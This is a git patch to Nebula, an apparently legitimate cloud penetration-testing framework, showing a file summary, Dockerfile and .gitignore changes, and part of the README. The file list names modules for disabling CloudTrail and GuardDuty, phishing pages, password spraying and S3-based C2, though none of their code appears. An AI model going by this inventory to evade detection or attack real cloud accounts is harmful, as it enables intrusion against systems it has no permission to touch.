From 4cd163902551c149d02745edf37f571171f90829 Mon Sep 17 00:00:00 2001 From: Bleon Proko Date: Fri, 12 Jul 2024 00:13:13 -0400 Subject: [PATCH] The rise of the new Nebula --- .gitignore | 10 +- Dockerfile | 5 +- README.md | 176 +- ToDo.txt | 27 +- argparse.sh | 105 + client/Dockerfile | 10 +- client/argparse.sh | 105 + client/banner.py | 20 +- client/client.py | 693 +- client/commands/aws_s3_c2_client.py | 275 + client/core/RunAndPrintModule.py | 69 +- client/help/help.py | 61 +- client/nebula | 6 +- client/requirements.txt | 2 + client/tools/__cloud_init/cloud-init-bash | 22 + client/~/.stagers/index.html | 44 + clientGUI/Dockerfile | 18 + clientGUI/nebula | 2 +- clientGUI/requirements.txt | 6 +- core/Agents/Particles.py | 1 + .../__pycache__/server.cpython-310.pyc | Bin 1265 -> 0 bytes core/__pycache__/__init__.cpython-310.pyc | Bin 136 -> 0 bytes core/containers/Dockerfile_mongo | 104 - core/database/models.py | 51 +- core/database/models.py.bak | 232 - core/models/AWSCredentials.py | 2 +- core/models/AZURECredentials.py | 34 +- core/models/Cosmonaut.py | 6 + core/models/DigitalOceanCredentials.py | 2 +- core/models/Listeners.py | 20 +- core/models/Modules.py | 54 +- .../cleanup/aws_guardduty_enable_detector.py | 50 + .../cleanup/aws_guardduty_enable_s3_source.py | 55 + .../aws_guardduty_revert_finding_time.py | 59 + .../cleanup/aws_iam_delete_access_key.py | 25 +- .../cleanup/aws_iam_delete_login_profile.py | 25 +- core/module/cleanup/aws_s3_delete_bucket.py | 33 +- ...ging.py => aws_cloudtrail_delete_trail.py} | 40 +- .../aws_cloudtrail_stop_logging.py | 47 + .../aws_detectionbypass_update_trail.py | 59 - .../aws_guardduty_disable_detector.py | 46 + .../aws_guardduty_disable_s3_source.py | 55 + .../aws_guardduty_increase_finding_time.py | 59 + .../aws_guardduty_update_ip_sets.py | 46 + .../aws_s3_empty_log_bucket.py | 47 + .../aws_cloudtrail_list_trails.py | 92 - .../enum/__not_done_yet/aws_ec2_enum_all.py | 191 - .../aws_ec2_enum_elastic_ips.py | 89 - .../__not_done_yet/aws_ec2_enum_images.py | 43 - .../__not_done_yet/aws_ec2_enum_instance.py | 189 - .../aws_ec2_enum_launch_templates.py | 80 - .../aws_ec2_enum_public_ipv4_ip_pools.py | 90 - .../aws_ec2_enum_security_groups.py | 127 - .../__not_done_yet/aws_ec2_enum_snapshots.py | 82 - .../__not_done_yet/aws_ec2_enum_user_data.py | 80 - .../aws_ec2_get_launch_template.py | 94 - .../__not_done_yet/aws_ecr_describe_images.py | 140 - .../enum/__not_done_yet/aws_ecr_enum_all.py | 140 - .../__not_done_yet/aws_ecr_list_images.py | 126 - .../enum/__not_done_yet/aws_iam_enum_all.py | 142 - .../__not_done_yet/aws_iam_enum_privesc.py | 258 - .../aws_iam_enum_role_permissions.py | 151 - .../aws_iam_enum_users_just_in_case.py | 404 - .../aws_iam_get_access_key_last_used.py | 58 - .../aws_iam_get_account_password_policy.py | 48 - .../aws_iam_get_account_summary.py | 50 - .../enum/__not_done_yet/aws_iam_get_group.py | 164 - .../aws_iam_get_instance_profile.py | 100 - .../aws_iam_get_login_profile.py | 112 - .../enum/__not_done_yet/aws_iam_get_policy.py | 129 - .../enum/__not_done_yet/aws_iam_get_role.py | 70 - .../enum/__not_done_yet/aws_iam_get_user.py | 205 - .../aws_iam_get_user_details.py | 106 - .../aws_iam_list_access_keys.py | 96 - .../aws_iam_list_entities_for_policy.py | 80 - .../aws_iam_list_group_policies.py | 67 - .../__not_done_yet/aws_iam_list_groups.py | 64 - .../aws_iam_list_instance_profiles.py | 74 - .../aws_iam_list_mfa_devices.py | 75 - .../enum/__not_done_yet/aws_iam_list_roles.py | 68 - .../aws_iam_list_user_policies.py | 82 - .../aws_iam_list_virtual_mfa_devices.py | 96 - .../__not_done_yet/aws_lambda_enum_all.py | 172 - .../aws_lambda_get_account_settings.py | 76 - .../__not_done_yet/aws_lambda_get_function.py | 121 - .../__not_done_yet/aws_lambda_get_policy.py | 123 - .../aws_lambda_list_function_alias.py | 88 - .../aws_lambda_list_functions.py | 78 - .../__not_done_yet/aws_route53_get_dnssec.py | 114 - .../aws_route53_get_hosted_zone.py | 100 - .../aws_route53_list_hosted_zones.py | 116 - ...s_route53_list_hosted_zones_by_dns_host.py | 116 - .../aws_route53_list_hosted_zones_by_vpc.py | 115 - .../enum/__not_done_yet/aws_s3_enum_all.py | 191 - .../aws_s3_get_bucket_logging.py | 94 - .../aws_s3_get_bucket_policy.py | 114 - .../aws_s3_get_bucket_policy_status.py | 69 - .../__not_done_yet/aws_s3_get_object_acl.py | 166 - .../__not_done_yet/aws_s3_list_buckets.py | 51 - .../__not_done_yet/aws_s3_list_objects.py | 77 - .../__not_done_yet/aws_ssm_get_document.py | 173 - .../aws_ssm_list_associations.py | 172 - .../__not_done_yet/aws_ssm_list_commands.py | 177 - .../__not_done_yet/aws_ssm_list_documents.py | 157 - .../aws_sts_get_access_key_info.py | 50 - .../__not_done_yet/aws_sts_get_user_id.py | 34 - .../aws_support_describe_cases.py | 165 - core/module/enum/aws_iam_enum_groups.py | 212 - core/module/enum/aws_iam_enum_iam.py | 481 + core/module/enum/aws_iam_enum_users.py | 506 - ...ws_misc_amazonec2roleforssm_permissions.py | 136 - .../enum/aws_misc_privilege_enumeration.py | 192 - .../module/enum/aws_s3_list_bucket_objects.py | 9 +- .../enum/aws_tag_enum_using_get_resources.py | 609 + ...n_Users.py => azuread_enum_admin_users.py} | 0 ...t_user.py => azuread_enum_current_user.py} | 151 +- ...ad_find_groups_with_dynamic_membership.py} | 4 +- ...embers.py => azuread_get_group_members.py} | 0 ..._user_list.py => azuread_get_user_list.py} | 2 - ...py => azuread_get_user_password_policy.py} | 0 ..._list_groups.py => azuread_list_groups.py} | 0 ...y => azuread_list_mfa_status_for_users.py} | 4 +- ...65_list_users.py => azuread_list_users.py} | 0 core/module/enum/digitalocean_enum_all.py | 697 + .../enum/digitalocean_space_enum_all.py | 79 +- ...digitalocean_space_list_deleted_objects.py | 2 +- .../module/enum/office365_enum_aad_objects.py | 148 - core/module/exploit/__AMI_Images.py | 279232 --------------- .../aws_create_console_url.py | 101 +- .../aws_ec2_create_instance_with_user_data.py | 285 - .../exploit/aws_ec2_modify_user_data.py | 99 +- .../exploit/aws_lambda_create_function.py | 181 - .../aws_lambda_download_function.py | 16 +- .../exploit/aws_lambda_invoke_function.py | 90 - core/module/exploit/aws_s3_create_bucket.py | 63 - core/module/exploit/aws_s3_download_object.py | 134 - .../aws_s3_get_object_with_presigned_url.py | 124 - ..._upload_object_with_presigned_post_data.py | 124 - core/module/exploit/aws_ssm_send_command.py | 256 +- .../exploit/aws_ssm_send_run_shell_command.py | 587 - core/module/exploit/aws_ssm_start_session.py | 153 - core/module/exploit/aws_sts_assume_role.py | 139 - .../aws_sts_assume_role_with_web_identity.py | 151 - core/module/exploit/azure_ad_malicious.py | 216 - core/module/exploit/azure_adfs_spray.py | 275 - .../exploit/azuread_device_code_phish_2.py | 215 - .../digitalocean_space_download_object.py | 64 - .../initialaccess/__do_phishing/Dockerfile | 21 + .../initialaccess/__do_phishing/README.md | 1 + .../initialaccess/__do_phishing/code card.png | Bin 0 -> 7882 bytes .../__do_phishing/credentials.php | 8 + .../initialaccess/__do_phishing/favicon.jpg | Bin 0 -> 1080 bytes .../initialaccess/__do_phishing/font.PNG | Bin 0 -> 4726 bytes .../__do_phishing/githublogo.JPG | Bin 0 -> 10755 bytes .../__do_phishing/googlelogo.JPG | Bin 0 -> 17560 bytes .../initialaccess/__do_phishing/login.html | 390 + .../__do_phishing/loginProcess.php | 54 + .../__do_phishing/loginerrorlogo.png | Bin 0 -> 675 bytes .../__do_phishing/loginerrormessage.png | Bin 0 -> 20315 bytes .../initialaccess/__do_phishing/logo.jpg | Bin 0 -> 2931 bytes .../initialaccess/__do_phishing/nexttogo.php | 11 + .../initialaccess/__do_phishing/pad.PNG | Bin 0 -> 393 bytes .../__do_phishing/sammy-normal.jpg | Bin 0 -> 12907 bytes .../__do_phishing/sessionexpired.html | 57 + .../__do_phishing/wallpaper.old.PNG | Bin 0 -> 51723 bytes .../initialaccess/__do_phishing/wallpaper.png | Bin 0 -> 37248 bytes .../__init__.py | 0 ...stalk_deploy_digitalocean_phishing_page.py | 290 + .../azuread_device_code_phish.py | 14 +- .../azuread_password_spray.py | 37 +- .../__listeners/aws_python_tcp_server.py | 287 - .../{__listeners => __stagers}/__init__.py | 0 .../aws_python_tcp_xor_encrypted_listener.py | 48 - core/module/listeners/aws_s3_c2.py | 464 + .../module/misc/aws_phishing_email_campain.py | 136 - .../misc/aws_s3_bucket_name_generator.py | 136 - .../misc/azure_service_basename_generator.py | 55 +- .../misc/misc_email_username_generator.py | 136 - .../aws_iam_create_user_access_key.py | 67 - .../aws_iam_modify_user_access_key.py | 67 - .../aws_iam_attach_policy_terraform.py | 135 + ...aws_iam_create_policy_version_terraform.py | 113 + .../privesc/aws_iam_create_user_access_key.py | 113 + .../aws_iam_create_user_login_profile.py | 0 .../azuread_add_user_to_group.py} | 1 - .../__ip_source/Azure_IP_Ranges.py | 8 +- .../reconnaissance/__ip_source/DOIPRange.py | 12398 +- .../__ip_source/GCP_IP_Ranges.py | 10 +- .../reconnaissance/aws_account_id_fuzzer.py | 169 - .../aws_iam_unauth_user_enum.py | 114 - .../aws_s3_bucket_name_fuzzer.py | 260 +- .../aws_s3_bucket_name_fuzzer_gui.py | 234 - .../reconnaissance/azure_fuzz_storages.py | 167 - .../azuread_unauth_user_enum.py | 4 +- .../digitalocean_space_bucket_name_fuzzer.py | 158 +- .../reconnaissance/gcp_bucket_name_fuzzer.py | 186 - .../reconnaissance/misc_find_ip_category.py | 424 +- .../misc_find_ip_category_copy.py | 214 - core/module/reconnaissance/misc_gitdumper.py | 100 - .../reconnaissance/misc_grayhatwarfare.py | 4 +- core/module/stager/__revshell/__init__.py | 0 core/module/stager/__revshell/aws_go_tcp.exe | Bin 6799360 -> 0 bytes .../module/stager/__revshell/aws_linux_go_tcp | Bin 7276905 -> 0 bytes .../stager/__revshell/aws_linux_go_tcp.go | 346 - .../stager/__revshell/aws_python_tcp.py | 480 - .../stager/__revshell/aws_windows_go_tcp.go | 347 - .../stager/aws_python_tcp_xor_encrypted.py | 130 - core/module/stager/aws_s3_c2_terraform.py | 191 + core/run_module/run_aws_module.py | 34 +- core/run_module/run_azure_module.py | 7 +- core/run_module/run_azuread_module.py | 7 +- core/run_module/run_digitalocean_module.py | 31 +- dockercompose.yaml | 49 - {core/img => img}/logo.png | Bin img/nebulalogo.png | Bin 0 -> 133796 bytes install.bat | 28 - install.sh | 87 +- teamserver | 90 +- teamserver.conf | 1 - teamserver.py | 136 +- 220 files changed, 12347 insertions(+), 302424 deletions(-) create mode 100755 argparse.sh create mode 100755 client/argparse.sh create mode 100644 client/commands/aws_s3_c2_client.py mode change 100644 => 100755 client/nebula create mode 100644 client/tools/__cloud_init/cloud-init-bash create mode 100644 client/~/.stagers/index.html create mode 100644 clientGUI/Dockerfile mode change 100644 => 100755 clientGUI/nebula delete mode 100644 core/Listeners/WebSocket/__pycache__/server.cpython-310.pyc delete mode 100644 core/__pycache__/__init__.cpython-310.pyc delete mode 100644 core/containers/Dockerfile_mongo delete mode 100644 core/database/models.py.bak create mode 100644 core/module/cleanup/aws_guardduty_enable_detector.py create mode 100644 core/module/cleanup/aws_guardduty_enable_s3_source.py create mode 100644 core/module/cleanup/aws_guardduty_revert_finding_time.py rename core/module/detectionbypass/{aws_detectionbypass_stop_logging.py => aws_cloudtrail_delete_trail.py} (52%) create mode 100644 core/module/detectionbypass/aws_cloudtrail_stop_logging.py delete mode 100644 core/module/detectionbypass/aws_detectionbypass_update_trail.py create mode 100644 core/module/detectionbypass/aws_guardduty_disable_detector.py create mode 100644 core/module/detectionbypass/aws_guardduty_disable_s3_source.py create mode 100644 core/module/detectionbypass/aws_guardduty_increase_finding_time.py create mode 100644 core/module/detectionbypass/aws_guardduty_update_ip_sets.py create mode 100644 core/module/detectionbypass/aws_s3_empty_log_bucket.py delete mode 100644 core/module/enum/__not_done_yet/aws_cloudtrail_list_trails.py delete mode 100644 core/module/enum/__not_done_yet/aws_ec2_enum_all.py delete mode 100644 core/module/enum/__not_done_yet/aws_ec2_enum_elastic_ips.py delete mode 100644 core/module/enum/__not_done_yet/aws_ec2_enum_images.py delete mode 100644 core/module/enum/__not_done_yet/aws_ec2_enum_instance.py delete mode 100644 core/module/enum/__not_done_yet/aws_ec2_enum_launch_templates.py delete mode 100644 core/module/enum/__not_done_yet/aws_ec2_enum_public_ipv4_ip_pools.py delete mode 100644 core/module/enum/__not_done_yet/aws_ec2_enum_security_groups.py delete mode 100644 core/module/enum/__not_done_yet/aws_ec2_enum_snapshots.py delete mode 100644 core/module/enum/__not_done_yet/aws_ec2_enum_user_data.py delete mode 100644 core/module/enum/__not_done_yet/aws_ec2_get_launch_template.py delete mode 100644 core/module/enum/__not_done_yet/aws_ecr_describe_images.py delete mode 100644 core/module/enum/__not_done_yet/aws_ecr_enum_all.py delete mode 100644 core/module/enum/__not_done_yet/aws_ecr_list_images.py delete mode 100644 core/module/enum/__not_done_yet/aws_iam_enum_all.py delete mode 100644 core/module/enum/__not_done_yet/aws_iam_enum_privesc.py delete mode 100644 core/module/enum/__not_done_yet/aws_iam_enum_role_permissions.py delete mode 100644 core/module/enum/__not_done_yet/aws_iam_enum_users_just_in_case.py delete mode 100644 core/module/enum/__not_done_yet/aws_iam_get_access_key_last_used.py delete mode 100644 core/module/enum/__not_done_yet/aws_iam_get_account_password_policy.py delete mode 100644 core/module/enum/__not_done_yet/aws_iam_get_account_summary.py delete mode 100644 core/module/enum/__not_done_yet/aws_iam_get_group.py delete mode 100644 core/module/enum/__not_done_yet/aws_iam_get_instance_profile.py delete mode 100644 core/module/enum/__not_done_yet/aws_iam_get_login_profile.py delete mode 100644 core/module/enum/__not_done_yet/aws_iam_get_policy.py delete mode 100644 core/module/enum/__not_done_yet/aws_iam_get_role.py delete mode 100644 core/module/enum/__not_done_yet/aws_iam_get_user.py delete mode 100644 core/module/enum/__not_done_yet/aws_iam_get_user_details.py delete mode 100644 core/module/enum/__not_done_yet/aws_iam_list_access_keys.py delete mode 100644 core/module/enum/__not_done_yet/aws_iam_list_entities_for_policy.py delete mode 100644 core/module/enum/__not_done_yet/aws_iam_list_group_policies.py delete mode 100644 core/module/enum/__not_done_yet/aws_iam_list_groups.py delete mode 100644 core/module/enum/__not_done_yet/aws_iam_list_instance_profiles.py delete mode 100644 core/module/enum/__not_done_yet/aws_iam_list_mfa_devices.py delete mode 100644 core/module/enum/__not_done_yet/aws_iam_list_roles.py delete mode 100644 core/module/enum/__not_done_yet/aws_iam_list_user_policies.py delete mode 100644 core/module/enum/__not_done_yet/aws_iam_list_virtual_mfa_devices.py delete mode 100644 core/module/enum/__not_done_yet/aws_lambda_enum_all.py delete mode 100644 core/module/enum/__not_done_yet/aws_lambda_get_account_settings.py delete mode 100644 core/module/enum/__not_done_yet/aws_lambda_get_function.py delete mode 100644 core/module/enum/__not_done_yet/aws_lambda_get_policy.py delete mode 100644 core/module/enum/__not_done_yet/aws_lambda_list_function_alias.py delete mode 100644 core/module/enum/__not_done_yet/aws_lambda_list_functions.py delete mode 100644 core/module/enum/__not_done_yet/aws_route53_get_dnssec.py delete mode 100644 core/module/enum/__not_done_yet/aws_route53_get_hosted_zone.py delete mode 100644 core/module/enum/__not_done_yet/aws_route53_list_hosted_zones.py delete mode 100644 core/module/enum/__not_done_yet/aws_route53_list_hosted_zones_by_dns_host.py delete mode 100644 core/module/enum/__not_done_yet/aws_route53_list_hosted_zones_by_vpc.py delete mode 100644 core/module/enum/__not_done_yet/aws_s3_enum_all.py delete mode 100644 core/module/enum/__not_done_yet/aws_s3_get_bucket_logging.py delete mode 100644 core/module/enum/__not_done_yet/aws_s3_get_bucket_policy.py delete mode 100644 core/module/enum/__not_done_yet/aws_s3_get_bucket_policy_status.py delete mode 100644 core/module/enum/__not_done_yet/aws_s3_get_object_acl.py delete mode 100644 core/module/enum/__not_done_yet/aws_s3_list_buckets.py delete mode 100644 core/module/enum/__not_done_yet/aws_s3_list_objects.py delete mode 100644 core/module/enum/__not_done_yet/aws_ssm_get_document.py delete mode 100644 core/module/enum/__not_done_yet/aws_ssm_list_associations.py delete mode 100644 core/module/enum/__not_done_yet/aws_ssm_list_commands.py delete mode 100644 core/module/enum/__not_done_yet/aws_ssm_list_documents.py delete mode 100644 core/module/enum/__not_done_yet/aws_sts_get_access_key_info.py delete mode 100644 core/module/enum/__not_done_yet/aws_sts_get_user_id.py delete mode 100644 core/module/enum/__not_done_yet/aws_support_describe_cases.py delete mode 100644 core/module/enum/aws_iam_enum_groups.py create mode 100644 core/module/enum/aws_iam_enum_iam.py delete mode 100644 core/module/enum/aws_iam_enum_users.py delete mode 100644 core/module/enum/aws_misc_amazonec2roleforssm_permissions.py delete mode 100644 core/module/enum/aws_misc_privilege_enumeration.py create mode 100644 core/module/enum/aws_tag_enum_using_get_resources.py rename core/module/enum/{office365_enum_admin_Users.py => azuread_enum_admin_users.py} (100%) rename core/module/enum/{office365_enum_current_user.py => azuread_enum_current_user.py} (53%) rename core/module/enum/{office365_find_groups_with_dynamic_membership.py => azuread_find_groups_with_dynamic_membership.py} (96%) rename core/module/enum/{office365_get_group_members.py => azuread_get_group_members.py} (100%) rename core/module/enum/{office365_get_user_list.py => azuread_get_user_list.py} (95%) rename core/module/enum/{office365_get_user_passsword_policy.py => azuread_get_user_password_policy.py} (100%) rename core/module/enum/{office365_list_groups.py => azuread_list_groups.py} (100%) rename core/module/enum/{office365_list_mfa_status_for_users.py => azuread_list_mfa_status_for_users.py} (92%) rename core/module/enum/{office365_list_users.py => azuread_list_users.py} (100%) create mode 100644 core/module/enum/digitalocean_enum_all.py delete mode 100644 core/module/enum/office365_enum_aad_objects.py delete mode 100644 core/module/exploit/__AMI_Images.py rename core/module/{postexploitation => exploit}/aws_create_console_url.py (59%) delete mode 100644 core/module/exploit/aws_ec2_create_instance_with_user_data.py delete mode 100644 core/module/exploit/aws_lambda_create_function.py rename core/module/{postexploitation => exploit}/aws_lambda_download_function.py (91%) delete mode 100644 core/module/exploit/aws_lambda_invoke_function.py delete mode 100644 core/module/exploit/aws_s3_create_bucket.py delete mode 100644 core/module/exploit/aws_s3_download_object.py delete mode 100644 core/module/exploit/aws_s3_get_object_with_presigned_url.py delete mode 100644 core/module/exploit/aws_s3_upload_object_with_presigned_post_data.py delete mode 100644 core/module/exploit/aws_ssm_send_run_shell_command.py delete mode 100644 core/module/exploit/aws_ssm_start_session.py delete mode 100644 core/module/exploit/aws_sts_assume_role.py delete mode 100644 core/module/exploit/aws_sts_assume_role_with_web_identity.py delete mode 100644 core/module/exploit/azure_ad_malicious.py delete mode 100644 core/module/exploit/azure_adfs_spray.py delete mode 100644 core/module/exploit/azuread_device_code_phish_2.py delete mode 100644 core/module/exploit/digitalocean_space_download_object.py create mode 100644 core/module/initialaccess/__do_phishing/Dockerfile create mode 100644 core/module/initialaccess/__do_phishing/README.md create mode 100644 core/module/initialaccess/__do_phishing/code card.png create mode 100644 core/module/initialaccess/__do_phishing/credentials.php create mode 100644 core/module/initialaccess/__do_phishing/favicon.jpg create mode 100644 core/module/initialaccess/__do_phishing/font.PNG create mode 100644 core/module/initialaccess/__do_phishing/githublogo.JPG create mode 100644 core/module/initialaccess/__do_phishing/googlelogo.JPG create mode 100644 core/module/initialaccess/__do_phishing/login.html create mode 100644 core/module/initialaccess/__do_phishing/loginProcess.php create mode 100644 core/module/initialaccess/__do_phishing/loginerrorlogo.png create mode 100644 core/module/initialaccess/__do_phishing/loginerrormessage.png create mode 100644 core/module/initialaccess/__do_phishing/logo.jpg create mode 100644 core/module/initialaccess/__do_phishing/nexttogo.php create mode 100644 core/module/initialaccess/__do_phishing/pad.PNG create mode 100644 core/module/initialaccess/__do_phishing/sammy-normal.jpg create mode 100644 core/module/initialaccess/__do_phishing/sessionexpired.html create mode 100644 core/module/initialaccess/__do_phishing/wallpaper.old.PNG create mode 100644 core/module/initialaccess/__do_phishing/wallpaper.png rename core/module/{enum/__not_done_yet => initialaccess}/__init__.py (100%) create mode 100644 core/module/initialaccess/aws_elasticbeanstalk_deploy_digitalocean_phishing_page.py rename core/module/{exploit => initialaccess}/azuread_device_code_phish.py (93%) rename core/module/{exploit => initialaccess}/azuread_password_spray.py (91%) delete mode 100644 core/module/listeners/__listeners/aws_python_tcp_server.py rename core/module/listeners/{__listeners => __stagers}/__init__.py (100%) delete mode 100644 core/module/listeners/aws_python_tcp_xor_encrypted_listener.py create mode 100644 core/module/listeners/aws_s3_c2.py delete mode 100644 core/module/misc/aws_phishing_email_campain.py delete mode 100644 core/module/misc/aws_s3_bucket_name_generator.py delete mode 100644 core/module/misc/misc_email_username_generator.py delete mode 100644 core/module/persistence/aws_iam_create_user_access_key.py delete mode 100644 core/module/persistence/aws_iam_modify_user_access_key.py create mode 100644 core/module/privesc/aws_iam_attach_policy_terraform.py create mode 100644 core/module/privesc/aws_iam_create_policy_version_terraform.py create mode 100644 core/module/privesc/aws_iam_create_user_access_key.py rename core/module/{exploit => privesc}/aws_iam_create_user_login_profile.py (100%) rename core/module/{exploit/office365_add_user_to_group.py => privesc/azuread_add_user_to_group.py} (95%) delete mode 100644 core/module/reconnaissance/aws_account_id_fuzzer.py delete mode 100644 core/module/reconnaissance/aws_iam_unauth_user_enum.py delete mode 100644 core/module/reconnaissance/aws_s3_bucket_name_fuzzer_gui.py delete mode 100644 core/module/reconnaissance/azure_fuzz_storages.py delete mode 100644 core/module/reconnaissance/gcp_bucket_name_fuzzer.py delete mode 100644 core/module/reconnaissance/misc_find_ip_category_copy.py delete mode 100644 core/module/reconnaissance/misc_gitdumper.py delete mode 100644 core/module/stager/__revshell/__init__.py delete mode 100644 core/module/stager/__revshell/aws_go_tcp.exe delete mode 100644 core/module/stager/__revshell/aws_linux_go_tcp delete mode 100644 core/module/stager/__revshell/aws_linux_go_tcp.go delete mode 100644 core/module/stager/__revshell/aws_python_tcp.py delete mode 100644 core/module/stager/__revshell/aws_windows_go_tcp.go delete mode 100644 core/module/stager/aws_python_tcp_xor_encrypted.py create mode 100644 core/module/stager/aws_s3_c2_terraform.py delete mode 100644 dockercompose.yaml rename {core/img => img}/logo.png (100%) create mode 100644 img/nebulalogo.png delete mode 100644 install.bat mode change 100644 => 100755 install.sh mode change 100644 => 100755 teamserver delete mode 100644 teamserver.conf diff --git a/.gitignore b/.gitignore index 4629caa..46d5fd9 100644 --- a/.gitignore +++ b/.gitignore @@ -25,13 +25,17 @@ /core/enum_user_privs/__pycache__/ /core/database/__pycache__/ /core/module/listeners/__listeners/__pycache__/ -/core/module/reconnaissance/__ip_source/__pycache__/ +/core/__pycache__/ /workspaces -/client/venv/ /clientGUI/venv/ +/client/venv/ +/clientGUI/__pycache__/ /client/__pycache__/ /client/commands/__pycache__/ /client/core/__pycache__/ /client/help/__pycache__/ -/client/help/__pycache__/ /client/.nebula-history-file +/clientGUI/.nebula-history-file +/todo.txt +/ToDo.txt +/Done.txt diff --git a/Dockerfile b/Dockerfile index 35ee87c..11f39b0 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,5 +1,4 @@ -FROM python:3.9 -#FROM python:3.8-slim-buster +FROM python:3.10 WORKDIR /nebula COPY . . @@ -16,4 +15,4 @@ RUN dpkg -i session-manager-plugin.deb RUN service docker start RUN ls /nebula -ENTRYPOINT python3.9 teamserver.py -c teamserver.conf +ENTRYPOINT ["python3", "teamserver.py"] diff --git a/README.md b/README.md index 286799f..71345c8 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,5 @@ # Nebula -logo +logo Nebula is a Cloud and (hopefully) DevOps Penetration Testing framework. It is build with modules for each provider and each functionality. As of April 2021, it only covers AWS, but is currently an ongoing project and hopefully will continue to grow to test GCP, Azure, Kubernetes, Docker, or automation engines like Ansible, Terraform, Chef, etc. @@ -11,7 +11,7 @@ I started writing it while I was reading "Hands-On AWS Penetration Testing with **Currently covers:** - AWS, Azure (Graph and Management API) and DigitalOcean enumeration, exploitation and post-exploitation -**There are currently 72 modules covering:** +**There are currently 55 modules covering:** - Reconnaissance - Enumeration - Exploit @@ -25,25 +25,24 @@ I started writing it while I was reading "Hands-On AWS Penetration Testing with ## Installation ### Server Nebula is coded in python3.11. It uses boto3 library to access AWS. -To install, create a venv and install python 3.11+ and install libraries required from *requirements.txt* - -``` -python3 -m venv ./venv -source venv/bin/activate -python3 -m pip install -r requirements.txt -``` - -Then install session-manager-plugin. This is needed for SSM modules: -``` -curl "https://s3.amazonaws.com/session-manager-downloads/plugin/latest/ubuntu_64bit/session-manager-plugin.deb" -o "session-manager-plugin.deb" -dpkg -i session-manager-plugin.deb -``` -On windows devices, since less is not installed, I got one from **https://github.com/jftuga/less-Windows** -The prebuilt binary is saved on directory less_binary. Just add that directory to the PATH environment variable and it will be ok. - -Then just run **teamserver** -``` -python3 teamserver.py -dn -p +To install, run ```install.sh``` script, which will get the mongo image, create teamserver image and install client's libraries on a venv (docker does not work for client due to TTY issues) +``` +$ ./install.sh + --------------------------------------------------------- + Installing Nebula + --------------------------------------------------------- + [*] Pulling mongo image +Using default tag: latest +latest: Pulling from library/mongo +Digest: sha256:bd38dc3d2895c7434b9b75c86525642efe3d65e4c6aadfe397486d7cc89406f0 +Status: Image is up to date for mongo:latest +docker.io/library/mongo:latest + [*] Pulled Docker Image + --------------------------------------------------------- + [*] Building Nebula Teamserver +DEPRECATED: The legacy builder is deprecated and will be removed in a future release. + Install the buildx component to build images with BuildKit: + https://docs.docker.com/go/buildx/ ``` ### Client @@ -59,75 +58,76 @@ nebula -w --password -ah ## Usage ``` - ........... - ...''''''''''''''... - ..'''''...........''''''............ - ..''''.. ...'''''''''''''''... - ..'''.. ..............'''''.. - .''''. .;loddool:'. ..''''.. - ..'''. .;clokXWWMWNKkl;. .''''. - .'''. .',,'.. ';dNMMMMMWKko;. .'''.. - .''''. .cx0NWWNX0koc;,'cKMMMMMMMMMWXOo:. .''''.... - .'''. .',',:oONMMMMMWNNNWMMMMMMWKk0WMMWXx' .''''''''... - ..'''. .,dXMMMMMMMMMMMMMNOl',oONWWd. .......'''''.. - ...'''''.. :o' cXMMMMMMMMMMMMMWNXKKXNWWKxc,. ..''''.. - ..''''.... oNKl'. ..oXMMMMMMMMMMMMMMMMMMMMMMMMMNKOdc,.. ..''''. - ..''''.. ,OWWX0O0XWMMMMMMMMMMMMMMMMMMWWWWMMMMMMMMMWXOxooxk:. ..'''. - ..'''''''''''''''''''''. .l0NMMMMMMMMMMMMMMMMMMMMN0dc;;;coONMMMMMMMMMMMMMK: ..'''. - ....................... .,dXMMMMMMMMMMMMMMMMMMWX0ko:. .;OWMMMMMMMMMMMWx. .'''. - .oWMMMMMMMMMMMMMMWNXXXWMMWKd' .:lccclodOXWMWd. .'''. - ,lc' .................. ',. .,OWMMMMMMMMMMMMXx:'...:0WMMMKl. .. .'oKO, .'''. - ,0MWx. .''''''''''''''''''. ;OKOOOO0NWMMMMMMMMMMMMNl. .cdoox0XOl;'....... ... .'''. - .;ol' ................... ;kXWMMMMMMMMMMMMMMMMMWx. .:0WNKkdo:. ... .'''. - .................... .:ldxk0XWMMMMMMMMMMMW0o' .';;,. .... ..'''. - ;k00000000000000000000x' ..;lkXWMMMMMMMMMWXkc. ..'''. -.lXWWWWWWWWWWWWWWWWWWMMWKl. ;OWMMMMMMMMMMMWKx:. ..''''. - .,,,,,,,,,,,,,,,,,:kNMMW0o,. 'kWMMMMMMMMMMMMMMWKd,. ..''''.. - .:ONMMMNKkdlc:::::::::ccldkKWMMMMMMMMMMMMMMMMMMNOl' ...........'''''.. - .,oOXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXkc....''''''''''... - .':ldkO0000000000000000000000000000000000000000Ox:. ........ - ........................................... - - - _ _______ ______ _ _______ - ( ( /|( ____ \( ___ \ |\ /|( \ ( ___ ) - | \ ( || ( \/| ( ) )| ) ( || ( | ( ) | - | \ | || (__ | (__/ / | | | || | | (___) | - | (\ \) || __) | __ ( | | | || | | ___ | - | | \ || ( | ( \ \ | | | || | | ( ) | - | ) \ || (____/\| )___) )| (___) || (____/\| ) ( | - |/ )_)(_______/|/ \___/ (_______)(_______/|/ \| - Because Clouds are so AWSome - - ------------------------------------------------------------- - Created by: gl4ssesbo1 - ------------------------------------------------------------- - 87 aws 0 gcp 1 azure 0 office365 - 0 docker 0 kubernetes 3 misc 2 azuread - ------------------------------------------------------------- - 93 modules 3 cleanup 0 detection - 62 enum 11 exploit 1 persistence - 1 listeners 0 lateral movement 2 detection bypass - 0 privesc 9 reconnaissance 1 stager - 3 misc - - Remember: - ------------------------------------------------------------- - 1) Only use this tool if you have permissions from the - infrastructure's owner. Don't be a dick. Don't choose jail. - And if you have some scruples, don't hack others just because - you can (or cannot, in which case that's why you chose this - tool to do it). - - 2) There is a template file on module directory that you can - use if you want to develop new modules. If you want to - contribute on this tool, be my guest. - - 3) Thank you for using this tool and Hack the Planet Legally! - ------------------------------------------------------------- + ........... + ...''''''''''''''... + ..'''''...........''''''............ + ..''''.. ...'''''''''''''''... + ..'''.. ..............'''''.. + .''''. .;loddool:'. ..''''.. + ..'''. .;clokXWWMWNKkl;. .''''. + .'''. .',,'.. ';dNMMMMMWKko;. .'''.. + .''''. .cx0NWWNX0koc;,'cKMMMMMMMMMWXOo:. .''''.... + .'''. .',',:oONMMMMMWNNNWMMMMMMWKk0WMMWXx' .''''''''... + ..'''. .,dXMMMMMMMMMMMMMNOl',oONWWd. .......'''''.. + ...'''''.. 